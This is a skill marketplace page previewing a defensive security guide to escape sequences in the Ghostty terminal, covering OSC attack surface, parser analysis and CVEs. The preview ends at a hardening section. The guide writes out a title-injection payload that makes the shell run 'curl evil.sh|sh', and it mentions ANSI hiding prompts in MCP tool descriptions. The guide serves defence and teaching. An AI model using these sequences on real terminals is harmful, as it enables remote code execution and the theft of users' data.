Skip to main content

modding-ghostty

Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.

Quellinformationen

Repository
plurigrid/asi
Letzte Quellaktivität
10. Juni 2026 um 11:55
Erkannte Sprache von SKILL.md
Englisch
Sterne
67
Forks
12

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

Datei-Explorer
2 Dateien

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
modding-ghostty
description
Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.
# Modding Ghostty Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states. ## Trigger Conditions - Analyzing terminal escape sequence security - Auditing libghostty or apps built on it (cmux, etc.) - Fuzzing VT parsers / OSC handlers - Understanding what escape sequences change on the user's screen - Building terminal-aware security tools ## Architecture: libghostty VT Parser ``` Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions | State Machine (14 states, compile-time table) ``` Key files in ghostty-org/ghostty: ``` src/terminal/Parser.zig # State machine (14 states) src/terminal/stream.zig # Stream wrapper + SIMD src/terminal/osc.zig # OSC parser (2048-byte fixed buffer) src/terminal/dcs.zig # DCS handler (1MB limit) src/terminal/parse_table.zig # Compile-time transition table src/simd/vt.zig # SIMD acceleration ``` ## Visual Effects Map: What Each OSC Changes On Screen ``` +---------------------------------------------------------------------+ | * * * Terminal Window Title (OSC 0, 1, 2) - [] X | +---------------------------------------------------------------------+ | | | Tab Bar: [ ~/projects v ] [ SSH: server ] [ vim ] | | ^^^^^^^^^^^^^^^^ | | OSC 7 sets this OSC 2 sets tab title | | (working directory) | | | +--- Terminal Content Area -------------------------------------------| | | | $ cat README.md | | | | This is normal text <-- ground state: just prints codepoints | | | | ==================== <-- OSC 4/10/11 change THESE colors: | | = foreground on ba = <-- 10 = text color | | = ckground colors = <-- 11 = background } you see the | | ==================== <-- 12 = cursor color } palette shift | | 4 = palette[0-255] instantly | | | | Click here for docs <-- OSC 8 hyperlink: UNDERLINED text, | | ~~~~~~~~~~~~~~~~~~ cursor becomes pointer on hover | | (OSC 22 changes pointer shape too) | | | | $ echo "copied!" | | +------------------+ | | | CLIPBOARD | <-- OSC 52 write: you see NOTHING on | | | (invisible) | screen. It silently changes what | | | "malicious addr" | Cmd+V pastes next. No visual cue. | | +------------------+ | | | | $ pwd | | /Users/alice/projects <-- OSC 7: NOTHING changes in content area. | | But tab/title bar updates, and | | "New Tab" will open HERE | | | | $ _ <-- OSC 12 changed cursor to this color | | ^cursor | | | +--- What's INVISIBLE (the dangerous part) ---------------------------| | | | OSC 52 READ --> ? sent to terminal | | terminal writes clipboard contents | | BACK INTO STDIN (as if you typed it) | | +------------------------------------+ | | | $ rgb:ff/ff/ff | < color | | | $ secret-api-key-from-clipboard | < clipboard| | | $ My Private Window Title | < title | | +------------------------------------+ | | YOU SEE THESE APPEAR AS IF YOU TYPED THEM | | (the "response injection" class of attacks) | | | | CSI 21t --> Reports title back as keystrokes | | DECRQSS --> Reports settings back as keystrokes | | OSC 10-12? --> Reports colors back as keystrokes | | | +---------------------------------------------------------------------+ ``` ## Visibility Matrix ``` VISIBLE INVISIBLE INVISIBLE ON SCREEN BUT MODIFIES STDIN INJECTION (you notice) STATE (most dangerous) --------------- -------------- ---------------- OSC 0 (icon+title) title bar Y OSC 1 (icon) (unimplemented) OSC 2 (title) title bar Y OSC 4 (palette) colors shift Y OSC 7 (cwd) tab label, new-tab path OSC 8 (hyperlink) underline Y, hover cursor Y OSC 9 (notification) system notif Y OSC 10 (fg color) text recolors Y OSC 11 (bg color) bg recolors Y OSC 12 (cursor color) cursor recolors Y OSC 22 (pointer) mouse cursor Y OSC 52 (clipboard) clipboard read -> stdin contents OSC 4? (query) rgb:xx/xx -> stdin OSC 10-12? (query) rgb:xx/xx -> stdin CSI 21t (title report) title -> stdin DECRQSS (DCS query) settings -> stdin ``` ## OSC Sequences Ranked by Traversability to Undesired States ### Tier 1: Surprisingly Traversable (High developer-surprise factor) | # | Sequence | Undesired State | Why Surprising | |---|----------|----------------|----------------| | 1 | **OSC 8** (Hyperlinks) | Arbitrary code execution on click | No URI scheme validation. `file:///path/to/binary` passed directly to `NSWorkspace.open()` / `xdg-open`. Missing scheme = file path on macOS. CVE-2024-38396 (iTerm2), CVE-2025-43929 (kitty). | | 2 | **OSC 52** (Clipboard read) | Silent clipboard exfiltration | Default `ask` but "Remember" button permanently downgrades to `allow`. No rate limiting. Once allowed, any program polls clipboard forever. | | 3 | **OSC 2 + CSI 21t** (Title set + report) | Command injection into shell | CVE-2003-0063 (xterm 2003), CVE-2024-56803 (Ghostty 1.0.0 release day). Parser correct; policy of echoing title to PTY stdin is the flaw. | ### Tier 2: Parser-Level State Machine Risks | # | Sequence | Undesired State | Mechanism | |---|----------|----------------|-----------| | 4 | Unterminated OSC (any) | Parser stuck in `osc_string` | Fixed 2048-byte buffer catches most, but OSC 52/66 with allocator has no hard memory limit. | | 5 | C1 control codes (0x80-0x9F) | Incorrect state transition | `0x9D`=OSC, `0x9B`=CSI, `0x90`=DCS as single bytes. Bypasses naive filters. UTF-8 mode must not treat these as C1. | | 6 | Truncated OSC (e.g. `\033]1`) | Integer overflow crash | Issue #8007: `osc.Parser.reset()` called `ArrayList.deinit` without valid allocator. Fixed in 1.2.0. | | 7 | SOS/PM/APC passthrough | Untested state paths | Share DFA structure with DCS/OSC but rarely exercised. Least-tested code. | ### Tier 3: Handler-Layer Policy Risks | # | Sequence | Undesired State | Mechanism | |---|----------|----------------|-----------| | 8 | OSC 7 (Working directory) | Path spoofing | `"localhost"` always passes `isLocal()`. Any program sets reported CWD. New tab opens in spoofed directory. | | 9 | OSC 52 (Clipboard write) | Clipboard hijacking | Default `allow`. Any program silently overwrites clipboard. Crypto address replacement. | | 10 | OSC 4/10-19 (Color query) | Information leakage | Responses reveal terminal theme. Feeds fingerprinting. | | 11 | DCS DECRQSS | Response injection | CVE-2008-2383 (xterm), CVE-2022-45872 (iTerm2 CVSS 9.8). | ### Tier 4: Delivery-Layer Amplifiers | # | Vector | Effect | |---|--------|--------| | 12 | Log file escape injection | `cat access.log` triggers any of the above. CVE-2009-4487. | | 13 | npm/pip output injection | Package metadata with escape sequences. | | 14 | MCP tool description injection | ANSI in tool descriptions hides malicious prompts (Trail of Bits 2025). | ## Parser DFA Safety Properties ### What's Well-Designed - **`.invalid` is a proper sink state**: Once buffer overflows, all bytes discarded until reset. `end()` returns `null`. - **No re-entrancy**: One byte at a time via `Parser.next()`. No callbacks or recursive parsing. - **State isolation**: ESC inside `dcs_passthrough` or `osc_string` is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC -> `escape` state from `osc_string`). - **Reset on entry**: `osc_parser.reset()` called on every transition into `osc_string`. No stale state leaks. - **CAN/SUB abort**: `0x18` (CAN) or `0x1A` (SUB) abort any sequence from any state -> `ground`. ### What's Risky - **OSC 52/66 allocating writer**: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory. - **OSC 8 URI handling**: No scheme allowlist. Arbitrary URIs passed to system opener. `file://`, `ssh://`, `tel:`, custom schemes all honored. - **"Remember" button on clipboard ask dialog**: Single click permanently downgrades `ask` -> `allow` for session. - **No rate limiting on any response-generating sequence**: OSC 52 read, color queries, title report (when enabled) can be spammed. ## The Classic Attack Pattern ``` WHAT YOU SEE WHAT ACTUALLY HAPPENS --------------- ----------------------- $ cat file.txt file.txt contains: Hello world Hello world Segmentation fault \e]2;curl evil.sh|sh\a <- set title (core dumped) \e[21t <- report title $ \e[8m <- HIDE TEXT ^^^ now "curl evil.sh|sh" appears on your stdin as if you typed it You see "Segfault" and The injected command is press Enter thinking invisible (\e[8m = hidden) it's waiting for input -> SHELL EXECUTES: curl evil.sh|sh ``` ## Ghostty-Specific CVEs | CVE | Version | Severity | Description | Fix | |-----|---------|----------|-------------|-----| | CVE-2024-56803 | < 1.0.1 | Medium (5.1) | Title reporting (CSI 21t) enabled by default. Classic title injection RCE. | Disabled title reporting by default. | | GHSA-q9fg-cpmh-c78x | < 1.2.0 | Medium | Privilege escalation when launched by other apps (inherits Full Disk Access). | App-level permission scoping. | | Issue #8007 | < 1.2.0 | Medium | Truncated OSC causes integer overflow in `osc.Parser.reset()` via `ArrayList.deinit` without valid allocator. | Conditional deinit when alloc non-null. | ## Configuration Hardening ```ini # ghostty config (~/.config/ghostty/config)
Auf GitHub ansehen
Diese SKILL.md ist sehr gross, daher zeigt SkillsMP hier nur den ersten Abschnitt. Auf GitHub ansehen